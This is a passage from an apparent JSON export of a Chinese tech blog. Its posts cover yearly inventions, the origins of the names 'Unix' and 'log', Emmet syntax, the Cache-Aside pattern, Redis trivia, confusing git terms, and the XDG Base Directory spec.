等语音助手获得信息的技术。随着时间的推移变得更聪明。\n2013：阿特拉斯 机器人革命还没有到来，但如果真的到来，很难想象 Atlas 不会处于领先地位。该机器人由波士顿动力公司于 2013 年制造，随着它学习越来越多的技巧，它仍然具有令人惊叹的能力\n2014：血液净化器 2014年，世界开始认识到西非埃博拉病毒疫情的严重性。这是一个关于许多与疾病作斗争的人的令人难以置信的勇敢的故事，但一个小装置恰逢其时地出现了，它可以帮助解决这一问题——血液净化器。《时代》杂志将该设备列为 2014 年最佳发明之一，该杂志称该设备的工作原理是使用“专门设计的连接到透析机的药筒”，本质上是从血液中吸取埃博拉病毒。该设备还可以对抗肝炎和癌症。\n2015：可重复使用火箭 Blue Origin 的 New Shepherd 和 SpaceX 的 Falcon 9 火箭在发射后均成功垂直着陆。多用途火箭可以大幅降低太空旅行仍然高昂的成本，SpaceX 与 NASA 的合作已经降低了这一成本。SpaceX 创始人埃隆·马斯克 (Elon Musk) 宣称，猎鹰 9 号的发射是朝着他殖民火星的最终目标迈出的一步——我们可能需要比预期更早地实现这一目标。\n2016：Oculus Rift 自 2014 年 Facebook 以 20 亿美元收购 Facebook 两年后，Palmer Luckey 的虚拟现实公司发布了第一款耳机。护目镜内部的高分辨率屏幕会投射立体图像来模仿正常视觉，并让用户的大脑相信他们看到的是真实的东西，即使那东西是一个巨大的杀手机器人。虽然这款耳机主要用作游戏插件，但随后也适用于医学教育和驾驶员培训等不同用途。然而，Facebook 在 2018 年底取消了第二代 Rift 的生产。\n2017 年：特斯拉 Model 3 埃隆·马斯克 (Elon Musk) 的电动汽车公司开始生产 Model 3，迈出了向主流迈进的最大一步。Model 3 是一款续航里程为 310 英里、预计普通售价为 35,000 美元的全电动汽车。尽管生产延迟且随后开始接受预订，但截至 2018 年第三季度，按收入计算，Model 3 仍是美国最畅销的汽车。\n2018：金属3D打印 3D 打印金属零件有潜力通过加快生产速度并使定制（或维持多年保修）更具成本效益来彻底改变制造业务；零件可以更轻、更坚固，并且可以以传统制造无法适应的方式成型。9 月，惠普开放其工业级 Metal Jet 打印机的预订，预计将于 2020 年底上市；早期客户包括大众汽车和 Primo 医疗集团。\n2019：世界上最大的电动车 我们已经看到了电动车的未来，而且它的规模非常庞大。虽然电动车正在全球范围内迅速普及，但大多数电动引擎仍然局限于较小的车辆。有人认为，真正的重工作仍然是由燃气大户的柴油引擎来做的。但2019年，世界上最大的电动车——Elekto Dumper的出现打破了电动车无法承受重工作的规则。\ne-Dumper 以小松 HB 605-7 为模型，长 30 英尺、宽 14 英尺、高 14 英尺，轮胎高 6 英尺，翻斗床长达 28 英尺。\nKuhn Schweitz 制造了 eDumper，用于从采石场来回搬运泥灰岩。该公司声称，一天内从采石场到水泥厂往返 20 次，可产生 200 千瓦时的剩余能源（或每年 77 兆瓦时）。相比之下，普通自卸卡车每年使用 11,000 至 22,000 加仑柴油。\n2020：Covid-19 疫苗 首例新型冠状病毒 Covid-19 于 2019 年 12 月被发现，世界卫生组织随后于 2020 年 3 月 11 日宣布其为大流行病。为了减缓这种新型易传染病毒的破坏性影响，制药公司和研究人员优先开发 Covid-19 疫苗。\n辉瑞-BioNTech 利用免疫学家 Drew Weissman 和生物化学家 Katalin Karikó 于 2005 年开发的 mRNA 技术，成为第一家开发 FDA 批准的紧急使用疫苗的公司，该疫苗于 2020 年 12 月 11 日向公众提供。Moderna 疫苗很快跟进一周后，大约两个月后，一剂强生疫苗也随之上市。辉瑞-BioNTech 和 Moderna 疫苗对原始病毒株的有效率为 95%，但随着时间的推移，有效率会降低；但所有疫苗都能显着降低住院或死亡的风险。\n2021：疟疾疫苗 第一个获得完全批准的疟疾疫苗 RTS,S（也称为 Mosquirix）已经等待了很长时间。该疫苗的开发始于 20 世纪 80 年代末，但该疫苗的试点计划直到 2019 年才在非洲推出，大约 96% 的疟疾相关死亡都发生在非洲。世界卫生组织 (WHO) 于 2021 年 10 月正式认可该疫苗。该疫苗的开发被认为是历史性的——根据世界卫生组织的数据，2020 年全球有 2.41 亿疟疾病例，估计有 627,000 人死亡。\n2022 年：詹姆斯·韦伯太空望远镜 詹姆斯·韦伯太空望远镜。作为红外望远镜，它比哈勃望远镜更灵敏，而且它现在是太空中最大的光学望远镜。研发于90年代中期开始，该望远镜于2021年底发射；它于 2022 年初全面投入运行。第一批图像于 7 月 12 日公开发布，它们并没有让人失望，甚至超出了所有人的预期。除了捕捉令人惊叹的图像之外，詹姆斯·韦伯太空望远镜还将帮助天文学家对太空最深处进行研究\n","date":"2024-01-26T04:31:57Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-01-26-guo-qu-66-nian-de-66-xiang-zui-jia-nian-du-fa-ming/cover.jpg","permalink":"/p/2024-01-26-guo-qu-66-nian-de-66-xiang-zui-jia-nian-du-fa-ming/","title":"过去 66 年的 66 项最佳年度发明"},{"content":"关于 “小作文” 事件 写了个脚本方便大家吃瓜\n这两天有关 东方甄选的 “小作文” 事件闹得沸沸扬扬，各路吃瓜群众络绎不绝地到某音上吃瓜，我像很多人一样在各个账号之间来回切换，这边看看粉丝掉了多少，那边看看粉丝涨了多少，好不辛苦。于是就想写个程序方便吃瓜。\nhttps://github.com/xiaobox/changeCEO\n脚本比较简单，就是定时获取事件相关方账号的粉丝数量\n效果如下：\n由于吃瓜有时效性，我写的这会儿 CEO 都免职了，所以程序就没写的那么完美，大家凑合用吧。\n不说了，我去看看 董宇辉涨到多少粉儿了～～\n","date":"2023-12-16T07:54:24Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-12-16-guan-yu-xiao-zuo-wen-shi-jian-xie-le-ge-jiao-ben-fang-bian-d/cover.jpg","permalink":"/p/2023-12-16-guan-yu-xiao-zuo-wen-shi-jian-xie-le-ge-jiao-ben-fang-bian-d/","title":"关于“小作文” 事件 写了个脚本方便大家吃瓜"},{"content":"Unix 操作系统中的名称 \u0026ldquo;Unix\u0026rdquo; 起源于其前身的 MULTICS（Multiplexed Information and Computing Service）项目。MULTICS是一个由麻省理工学院（MIT）和贝尔实验室（Bell Labs）合作开发的操作系统项目，旨在为大型时间共享计算机提供支持。\n由于 MULTICS 项目变得庞大而复杂，最终导致进度缓慢，贝尔实验室的 Ken Thompson、Dennis Ritchie 和其他开发人员觉得需要一个更简单、更轻量级的操作系统。因此，他们在 1969 年开始开发一个新的系统，最终成为 Unix。\nUnix 这个名字是在 Multics 的传统上构建的，是一种缩写形式。它最初被写作 \u0026ldquo;Unics\u0026rdquo;，代表 \u0026ldquo;Uniplexed Information and Computing Service\u0026rdquo;，强调 Unix 是一个简化版的 MULTICS。后来，为了避免与另一个系统名（CTSS，Compatible Time-Sharing System）混淆，他们将 \u0026ldquo;Unics\u0026rdquo; 改为 \u0026ldquo;Unix\u0026rdquo;。\n","date":"2023-12-09T12:06:41Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-12-09-unix-ming-zi-de-qi-yuan/cover.jpg","permalink":"/p/2023-12-09-unix-ming-zi-de-qi-yuan/","title":"Unix 名字的起源"},{"content":"疑问 熟悉计算机或者有过开发经验的朋友一定对 “日志” 很熟悉，日志记录着软件运行过程中的一些信息：异常、错误或者运行情况等，它就像日记本一样，记录着软件运行的 “流水账”。\n日志的英文是 log ,当你搜索 log 是什么的时候，经常会看到下面这样的图片\n这是“圆木” ？是的，log 有这个意思\n当然 log 也有日志的意思。\n但是为什么呢？日志为什么叫 log 呢，好像感觉它跟木头有点儿关系，不然怎么用同一个单词来表示呢？\n答案 在找答案的过程中，我在牛津词典中查到了 \u0026ldquo;log-book\u0026rdquo;\n“\nA book in which the particulars of a ship’s voyage (including her rate of progress as indicated by the log) are entered daily from the log-board.\n每天从航海日志中记录船舶航行详情（包括航海日志所示的航行速度）的一本书。\n”\n感觉这个词的起源跟航海有很大的关系，实际上确实如此。\n这玩意是 chip log 以前航海时用来测航速的。\n它是一个木轴上面缠一捆绳子，绳子头上绑一块木板，木板底部衬有铅。木板每个角绑着一根线，一共三根，测量时，把木板放到海里，海水会推着木板保持静止，然后木板拽出绳子，绳子上有绳结，用一个沙漏计时，最后算一下，一段时间内绳结的数量就得到了航速。\n这下终于知道 log 为什么跟木头有关系了，因为它起源于 chip log 这个装置 ，那玩意看起来\u0026hellip; 不对，实际上就是块木头。哈哈\n可以通过下面这个视频了解一下，它是如何运行的。\n","date":"2023-12-07T05:46:43Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-12-07-ri-zhi-wei-shen-me-jiao-log/cover.jpg","permalink":"/p/2023-12-07-ri-zhi-wei-shen-me-jiao-log/","title":"日志为什么叫 \"log\""},{"content":"HTML 和 CSS 代码冗长而繁复，稍不留神就容易写错，而且大部分都是类似的内容，很多重复劳动，一行一行写的话，很费时。\n我记得多年前前端刚流行的时候，有一款插件让我眼前一亮，它可以通过写 一些 字母+回车 就能生成对应的 HTML 代码，当时它叫 Zen Coding ，现在它的名字是 Emmet\n“\nEmmet（是一套面向文本编辑器的插件，它允许通过内容辅助高速度的编写和编辑 HTML、XML、XSL和其他结构化的代码格式\n”\n好像新版的 Visual Studio Code 已经内置了 Emmet\n本文我们就聊聊 Emmet 最常用的语法和示例。\n语法 Child: \u0026gt; 作用：生成内部嵌套元素\n例如： nav\u0026gt;ul\u0026gt;li\n1\u0026lt;nav\u0026gt; 2 \u0026lt;ul\u0026gt; 3 \u0026lt;li\u0026gt;\u0026lt;/li\u0026gt; 4 \u0026lt;/ul\u0026gt; 5\u0026lt;/nav\u0026gt; Multiplication: * 作用：生成重复元素 例如： ul\u0026gt;li*5\n1\u0026lt;ul\u0026gt; 2 \u0026lt;li\u0026gt;\u0026lt;/li\u0026gt; 3 \u0026lt;li\u0026gt;\u0026lt;/li\u0026gt; 4 \u0026lt;li\u0026gt;\u0026lt;/li\u0026gt; 5 \u0026lt;li\u0026gt;\u0026lt;/li\u0026gt; 6 \u0026lt;li\u0026gt;\u0026lt;/li\u0026gt; 7\u0026lt;/ul\u0026gt; ID and CLASS attributes 作用：ID 和 class 控制 ，# 对应 ID, . 对应 class 属性\n例如：\n1#header 2\u0026lt;div id=\u0026#34;header\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; 3.title 4\u0026lt;div class=\u0026#34;title\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; 5form#search.wide 6\u0026lt;form id=\u0026#34;search\u0026#34; class=\u0026#34;wide\u0026#34;\u0026gt;\u0026lt;/form\u0026gt; 7p.class1.class2.class3 8\u0026lt;p class=\u0026#34;class1 class2 class3\u0026#34;\u0026gt;\u0026lt;/p\u0026gt; Sibling: + 作用：生成兄弟元素\n例如： div+p+bq\n1\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt; 2\u0026lt;p\u0026gt;\u0026lt;/p\u0026gt; 3\u0026lt;blockquote\u0026gt;\u0026lt;/blockquote\u0026gt; Climb-up: ^ 作用：虽然叫 climb-up ，但作用是跳出当前元素到元素的下面，多个 ^ 就是跳出多个父级元素。 例如：\ndiv+div\u0026gt;p\u0026gt;span+em^bq\n1\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt; 2\u0026lt;div\u0026gt; 3 \u0026lt;p\u0026gt;\u0026lt;span\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;em\u0026gt;\u0026lt;/em\u0026gt;\u0026lt;/p\u0026gt; 4 \u0026lt;blockquote\u0026gt;\u0026lt;/blockquote\u0026gt; 5\u0026lt;/div\u0026gt; div+div\u0026gt;p\u0026gt;span+em^^bq\n1\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt; 2\u0026lt;div\u0026gt; 3 \u0026lt;p\u0026gt;\u0026lt;span\u0026gt;\u0026lt;/span\u0026gt;\u0026lt;em\u0026gt;\u0026lt;/em\u0026gt;\u0026lt;/p\u0026gt; 4\u0026lt;/div\u0026gt; 5\u0026lt;blockquote\u0026gt;\u0026lt;/blockquote\u0026gt; Item numbering: $ 作用：生成元素序号 例如：\nul\u0026gt;li.item$*5\n1\u0026lt;ul\u0026gt; 2 \u0026lt;li class=\u0026#34;item1\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 3 \u0026lt;li class=\u0026#34;item2\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 4 \u0026lt;li class=\u0026#34;item3\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 5 \u0026lt;li class=\u0026#34;item4\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 6 \u0026lt;li class=\u0026#34;item5\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 7\u0026lt;/ul\u0026gt; h$[title=item$]{Header $}*3\n1\u0026lt;h1 title=\u0026#34;item1\u0026#34;\u0026gt;Header 1\u0026lt;/h1\u0026gt; 2\u0026lt;h2 title=\u0026#34;item2\u0026#34;\u0026gt;Header 2\u0026lt;/h2\u0026gt; 3\u0026lt;h3 title=\u0026#34;item3\u0026#34;\u0026gt;Header 3\u0026lt;/h3\u0026gt; ul\u0026gt;li.item$$$*5\n1\u0026lt;ul\u0026gt; 2 \u0026lt;li class=\u0026#34;item001\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 3 \u0026lt;li class=\u0026#34;item002\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 4 \u0026lt;li class=\u0026#34;item003\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 5 \u0026lt;li class=\u0026#34;item004\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 6 \u0026lt;li class=\u0026#34;item005\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 7\u0026lt;/ul\u0026gt; ul\u0026gt;li.item$@-*5\n1\u0026lt;ul\u0026gt; 2 \u0026lt;li class=\u0026#34;item5\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 3 \u0026lt;li class=\u0026#34;item4\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 4 \u0026lt;li class=\u0026#34;item3\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 5 \u0026lt;li class=\u0026#34;item2\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 6 \u0026lt;li class=\u0026#34;item1\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 7\u0026lt;/ul\u0026gt; ul\u0026gt;li.item$@3*5\n1\u0026lt;ul\u0026gt; 2 \u0026lt;li class=\u0026#34;item3\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 3 \u0026lt;li class=\u0026#34;item4\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 4 \u0026lt;li class=\u0026#34;item5\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 5 \u0026lt;li class=\u0026#34;item6\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 6 \u0026lt;li class=\u0026#34;item7\u0026#34;\u0026gt;\u0026lt;/li\u0026gt; 7\u0026lt;/ul\u0026gt; Custom attributes 作用：自定义元素\n例如：\np[title=\u0026quot;Hello world\u0026quot;]\n1\u0026lt;p title=\u0026#34;Hello world\u0026#34;\u0026gt;\u0026lt;/p\u0026gt; td[rowspan=2 colspan=3 title]\n1\u0026lt;td rowspan=\u0026#34;2\u0026#34; colspan=\u0026#34;3\u0026#34; title=\u0026#34;\u0026#34;\u0026gt;\u0026lt;/td\u0026gt; [a='value1' b=\u0026quot;value2\u0026quot;]\n1\u0026lt;div a=\u0026#34;value1\u0026#34; b=\u0026#34;value2\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; Grouping: () 作用： 分组\n例如：\ndiv\u0026gt;(header\u0026gt;ul\u0026gt;li*2\u0026gt;a)+footer\u0026gt;p\n1\u0026lt;div\u0026gt; 2 \u0026lt;header\u0026gt; 3 \u0026lt;ul\u0026gt; 4 \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;\u0026#34;\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; 5 \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;\u0026#34;\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; 6 \u0026lt;/ul\u0026gt; 7 \u0026lt;/header\u0026gt; 8 \u0026lt;footer\u0026gt; 9 \u0026lt;p\u0026gt;\u0026lt;/p\u0026gt; 10 \u0026lt;/footer\u0026gt; 11\u0026lt;/div\u0026gt; (div\u0026gt;dl\u0026gt;(dt+dd)*3)+footer\u0026gt;p\n1\u0026lt;div\u0026gt; 2 \u0026lt;dl\u0026gt; 3 \u0026lt;dt\u0026gt;\u0026lt;/dt\u0026gt; 4 \u0026lt;dd\u0026gt;\u0026lt;/dd\u0026gt; 5 \u0026lt;dt\u0026gt;\u0026lt;/dt\u0026gt; 6 \u0026lt;dd\u0026gt;\u0026lt;/dd\u0026gt; 7 \u0026lt;dt\u0026gt;\u0026lt;/dt\u0026gt; 8 \u0026lt;dd\u0026gt;\u0026lt;/dd\u0026gt; 9 \u0026lt;/dl\u0026gt; 10\u0026lt;/div\u0026gt; 11\u0026lt;footer\u0026gt; 12 \u0026lt;p\u0026gt;\u0026lt;/p\u0026gt; 13\u0026lt;/footer\u0026gt; Text: 作用 ：为标签内添加文本内容\n例如：\na{Click me}\n1\u0026lt;a href=\u0026#34;\u0026#34;\u0026gt;Click me\u0026lt;/a\u0026gt; p\u0026gt;{Click }+a{here}+{ to continue}\n1\u0026lt;p\u0026gt;Click \u0026lt;a href=\u0026#34;\u0026#34;\u0026gt;here\u0026lt;/a\u0026gt; to continue\u0026lt;/p\u0026gt; 有趣的知识 上面 gif 图中有个例子\nul\u0026gt;li*4\u0026gt;lorem4\n效果是生成了如下代码\n1 \u0026lt;ul\u0026gt; 2 \u0026lt;li\u0026gt;Lorem ipsum dolor sit.\u0026lt;/li\u0026gt; 3 \u0026lt;li\u0026gt;Labore eum dignissimos exercitationem.\u0026lt;/li\u0026gt; 4 \u0026lt;li\u0026gt;Et sed quod distinctio?\u0026lt;/li\u0026gt; 5 \u0026lt;li\u0026gt;Voluptate dolor omnis maiores.\u0026lt;/li\u0026gt; 6 \u0026lt;/ul\u0026gt; 你知道 lorem 是什么东西吗？\n其实它是用来表示随机文本的，用来进行占位的。它的全文是：\n“\nLorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\n”\n这只是一段用来测试排版效果的占位文字，没有实际的含义。据说，16世纪的时候就有人开始用了。当时的某个印刷工人，从古罗马政治家西塞罗的文章中，选了一段拉丁文，\u0026ldquo;Neque porro quisquam est qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit \u0026ldquo;，进行了混排，就把它创造出来了。这句拉丁文的英译是\u0026quot;Neither is there anyone who loves grief itself since it is grief and thus wants to obtain it\u0026rdquo;，译成中文就是\u0026quot;无人爱苦，亦无人寻之欲之，乃因其苦\u0026hellip;\u0026hellip;\u0026quot;（不知是谁的手笔，译得真漂亮啊。）\n所以 lorem4 就是生成4个单词的随机文本\n参考 你可以通过下面的地址看到 Emmet 完整的语法介绍\nhttps://docs.emmet.io/cheat-sheet/ ","date":"2023-12-03T06:14:06Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-12-03-ru-he-kuai-su-bian-xie-html-css-dai-ma/cover.jpg","permalink":"/p/2023-12-03-ru-he-kuai-su-bian-xie-html-css-dai-ma/","title":"如何快速编写 HTML CSS 代码"},{"content":"今天又看了一下 Cache-Aside Pattern\n“\nCache-Aside Pattern，即旁路缓存模式，它的提出是为了尽可能地解决缓存与数据库的数据不一致问题。\n”\nCache Aside Pattern 读流程：\n读的时候，先读缓存，缓存命中的话，直接返回数据 缓存没有命中的话，就去读数据库，从数据库取出数据，放入缓存后，同时返回响应。 写流程：\n更新的时候，先更新数据库，然后再删除缓存（使缓存失效） 问题 这个模式看起来没什么毛病，但是，为什么更新缓存的动作一定要放在读流程里呢？或者说，为什么不是写完数据库后更新缓存？\n跟 chatGPT 浪费了不少时间后，还是回到了 Google 上，原因这里已经说明了：https://www.quora.com/Why-does-Facebook-use-delete-to-remove-the-key-value-pair-in-Memcached-instead-of-updating-the-Memcached-during-write-request-to-the-backend\n主要是怕两个并发的写操作导致脏数据。\n这里你可以自行想像两个并发写请求一前一后的过来，A 刚更新完数据库，B 已经把数据库和缓存全都更新了，这时候 A 才开始更新缓存，导致缓存和数据库数据不一致。\n那么，是不是Cache Aside这个就不会有并发问题了？\n不是的，比如，一个是读操作，但是没有命中缓存，然后就到数据库中取数据，此时来了一个写操作，写完数据库后，让缓存失效，然后，之前的那个读操作再把老的数据放进去，所以，会造成脏数据。\n但，这个case理论上会出现，不过，实际上出现的概率可能非常低，因为这个条件需要发生在读缓存时缓存失效，而且并发着有一个写操作。而实际上数据库的写操作会比读操作慢得多，而且还要锁表，而读操作必需在写操作前进入数据库操作，而又要晚于写操作更新缓存，所有的这些条件都具备的概率基本并不大。\n参考 https://coolshell.cn/articles/17416.html http://www.lzhgy.cn/blog/149 ","date":"2023-12-02T08:02:02Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-12-02-cache-aside-yi-wen-jie-huo/cover.jpg","permalink":"/p/2023-12-02-cache-aside-yi-wen-jie-huo/","title":"Cache Aside 疑问解惑"},{"content":"关于 Redis 的有趣的知识 有序集合的英文全称明明是 sorted sets，为啥叫 zset 呢？\nRedis官网上没有解释，但是在 Github 上有人向作者提问了。\n作者是这么回答的：\nHello. Z is as in XYZ, so the idea is, sets with another dimension: the order. It’s a far association… I know 😃\n原来前面的 Z 代表的是 XYZ 中的Z，zset 是在说这是比 set 有更多一个维度的 set 😦\n是不没道理？\n更没道理的还有，Redis 默认端口 6379 ，因为作者喜欢的一个叫 Merz 的女明星，其名字在手机上输入正好对应号码 6379，索性就把 Redis 的默认端口叫 6379 了…\n小盒子的技术分享\n","date":"2023-12-01T08:25:22Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-12-01-guan-yu-redis-de-you-qu-de-zhi-shi/cover.jpg","permalink":"/p/2023-12-01-guan-yu-redis-de-you-qu-de-zhi-shi/","title":"关于 Redis 的有趣的知识"},{"content":"HEAD and \u0026ldquo;heads\u0026rdquo; 一些人表示他们对术语 HEAD 和 refs/heads/main 感到困惑\n其实 “头”就是“枝”。在 git 内部，分支存储在名为 .git/refs/heads 的目录中\n而 HEAD 是当前分支。它存储在 .git/HEAD 中。\n\u0026ldquo;a head 是一个分支， HEAD 是当前分支\u0026rdquo; 这绝对是 git 中最奇怪的术语之一。\nYour branch is up to date with \u0026lsquo;origin/main\u0026rsquo; 你的分支已更新为 \u0026lsquo;origin/main\u0026rsquo; ?\n此消息看起来很简单 - 它表示你的 main 分支已与源保持同步！\n但这实际上有点误导。你可能认为这意味着你的 main 分支是最新的。事实并非如此。\n它实际上意味着 – 如果你上次运行 git fetch 或 git pull 是在 5 天前，那么 5 天前你的 main 分支是最新的（包含 5 天前的所有更改）\n说白了，只是上次同步过，但上一次是什么时候可不好说了，如果你没有意识到这一点，它可能会给您一种错误的安全感。\n我认为 git 理论上可以给你一条更有用的消息，比如“截至 5 天前最后一次获取，源的 main 是最新的”\nHEAD^, HEAD~ HEAD^^, HEAD~~, HEAD^2, HEAD~2 我知道 HEAD^ 指的是之前的提交，但我对 HEAD~ 和 HEAD^ 的区别困惑了很久。\n我查了一下，以下是它们之间的关系：\nHEAD^ 和 HEAD~ 是一样的（1 次提交前） HEAD^^^ 和 HEAD~~~ 和 HEAD~3 是一样的（3 次提交前） HEAD^3 指提交的第三个父级，与 HEAD~3 不同 这看起来很奇怪——为什么 HEAD~ 和 HEAD^ 是一样的？\n“第三父级” 又是什么呢？\n^ 和 ~ 在 Git 中用于导航提交树。\n^ 用于访问合并提交的不同父提交 ~ 用于访问当前提交的祖先提交 大多数提交只有一个父提交。在 Git 中 HEAD^ 表示“HEAD 提交的父级”。\n但是如果 HEAD 是合并提交， HEAD^ 指的是合并的第一个父级， HEAD^2 是第二个父级， HEAD^3 是第三个父级，依此类推。\n“\n通常，这种语法在合并提交（merge commit）时使用，其中有多个父提交。例如，一个合并提交可能有两个父提交，通过 HEAD^1 和 HEAD^2 可以访问这两个父提交。HEAD^3 就表示第三个父提交。\n”\nHEAD~3：表示从 HEAD 开始往上数的第三个祖先提交。它指的是当前分支的前第三个提交，不考虑合并提交。这在查看历史记录时很有用。\n\u0026ldquo;reset\u0026rdquo;, \u0026ldquo;revert\u0026rdquo;, \u0026ldquo;restore\u0026rdquo; 很多人提到 \u0026ldquo;reset\u0026rdquo;、\u0026ldquo;revert\u0026rdquo; 和 \u0026ldquo;restore\u0026rdquo; 是非常相似的词，很难区分它们。\n手册也没有提供非常有用的信息：\ngit reset : “重置当前 HEAD 到指定状态” git revert ：“恢复一些现有的提交” git restore ：“恢复工作树文件” 以下是它们各自的作用的一些简短描述：\ngit revert COMMIT ：在当前分支上创建一个与 COMMIT “相反”的新提交（如果 COMMIT 添加了 3 行，则新提交将删除这 3 行）\ngit reset --hard COMMIT ：强制当前分支返回到 COMMIT 时的状态，删除自 COMMIT 以来的所有新更改。非常危险的操作。\ngit restore --source=COMMIT PATH ：将 PATH 中的所有文件恢复到 COMMIT 时的状态，而不更改任何其他文件或提交历史记录。\nmain 和 origin/main 在 Git 中，main 和 origin/main 分别表示不同的引用。\nmain：这是本地分支的名称，通常表示你当前所在的本地分支，例如，如果你切换到主分支，那么 main 就代表本地主分支。\ngit checkout main 这表示你正在引用本地仓库中的 main 分支。\norigin/main：这是远程仓库的引用，通常表示远程主分支。origin 是默认的远程仓库名称，而 main 则表示在该远程仓库上的主分支。\ngit fetch origin git checkout origin/main 这表示你正在引用远程仓库 origin 上的 main 分支。请注意，你不能在 origin/main 上直接进行修改，因为它是只读的，你需要在本地分支上进行工作。\n在典型的 Git 工作流中，你通常会从远程仓库克隆（clone）代码，本地会自动创建一个名为 main 的主分支，并在远程仓库上创建一个名为 origin/main 的引用。在进行协作开发时，你可能会通过 git pull 或 git fetch 来同步远程仓库的最新更改，这时就会涉及到本地的 main 分支和远程的 origin/main 引用。\ncheckout git checkout BRANCH 切换分支 git checkout file.txt 放弃对 file.txt 的更改，恢复为上一次提交（最新提交）的版本。 checkout 后面跟分支名和文件名作用是不一样的，呵呵。\ngit checkout file.txt 这条命令的效果相当于取消对 file.txt 的本地修改，将其还原为最新提交的状态。不过，git checkout 在 Git 2.23 版本之后的版本中被 git restore 和 git switch 命令替代，因此你也可以使用以下等效的命令：\n# 使用 git restore git restore file.txt # 或者使用 git switch git switch --discard-changes file.txt ","date":"2023-11-30T09:14:40Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-11-30-ling-ren-kun-huo-de-git-shu-yu/cover.jpg","permalink":"/p/2023-11-30-ling-ren-kun-huo-de-git-shu-yu/","title":"令人困惑的 git 术语"},{"content":"\n你的电脑里在 用户主目录（HOME）下是不是也有这么多乱七八糟的以点开头的文件和文件夹呢？\n我知道他们都是是各个软件在安装和使用时创建的，这玩意一般看不见，因为以 “.” 开头的是隐藏文件，但是随着软件越装越多，这种 \u0026ldquo;.\u0026rdquo; 开头的文件也越来越多，感觉好混乱呀。\n于是查了一下原因：\n“\n在类 Unix 系统中，用户主目录下的以点（.）开头的文件夹通常是隐藏文件夹。这种隐藏的命名约定是为了将这些文件和文件夹从普通的目录列表中隐藏起来，以避免视觉上的混乱。这对于存储用户配置文件、缓存或其他应用程序数据非常有用，因为这些文件夹通常包含对用户不直接有用的信息。\n”\n隐藏文件和文件夹的一个重要目的之一就是为了防止用户在正常使用系统时误删除它们。\n话虽这么说，但对于有强迫症的我来说，还是感觉没有“秩序” ，还有没有王法了？难道就没有个规矩来规范一下这个行为吗？\n你别说，还真有！\n“\n随着软件的安装和使用，用户主目录下的隐藏文件和文件夹可能会变得相当杂乱。为了解决这个问题，XDG Base Directory Specification 提供了一个标准化的方法，以规范用户数据、配置和缓存文件的存放位置，从而提高系统的整体组织性。这个规范旨在减少用户主目录下以点开头的直接子目录的数量，使之更加清晰和有序。\n”\nXDG ? 这是啥？为什么叫这个名字？\nXDG 最初是 \u0026ldquo;X Desktop Group\u0026rdquo; 的缩写，指的是一个早期的 X Window System 桌面环境的协作组。这个规范最早由 XDG 组织提出，后来被纳入了 Freedesktop.org，一个致力于协调自由桌面软件项目的合作社区。尽管 \u0026ldquo;X Desktop Group\u0026rdquo; 这个名称不再准确反映规范的用途，但 \u0026ldquo;XDG\u0026rdquo; 作为一个术语仍然被广泛使用。\nXDG Base Directory Specification 具体的规范内容在这儿：https://specifications.freedesktop.org/basedir-spec/basedir-spec-0.6.html\n该规范通过定义一个或多个与文件所在位置相关的基本目录来定义应在何处查找这些文件。\n其实就是定义了一套指向应用程序的环境变量，这些变量指明的就是这些程序应该存储的基准目录。而变量的具体值取决于用户，若用户未指定，将由程序本身指向一个默认目录，该默认目录也应该遵从标准，而不是用户主目录。\n比如：\n当然不同操作系统的位置可能不一样\n最主要的就三个要点：\n在 $XDG_DATA_HOME 中写入用户特定数据 在 $XDG_CONFIG_HOME 中写入配置文件 在 $XDG_CACHE_HOME 中写入缓存文件 下面是一个简单的示例，演示如何在 Go 语言中使用 XDG 规范：\n1package main 2 3import ( 4 \u0026#34;fmt\u0026#34; 5 \u0026#34;os\u0026#34; 6 \u0026#34;path/filepath\u0026#34; 7) 8 9func main() { 10 // 获取 XDG_DATA_HOME 环境变量，如果不存在则使用默认值 11 xdgDataHome := os.Getenv(\u0026#34;XDG_DATA_HOME\u0026#34;) 12 if 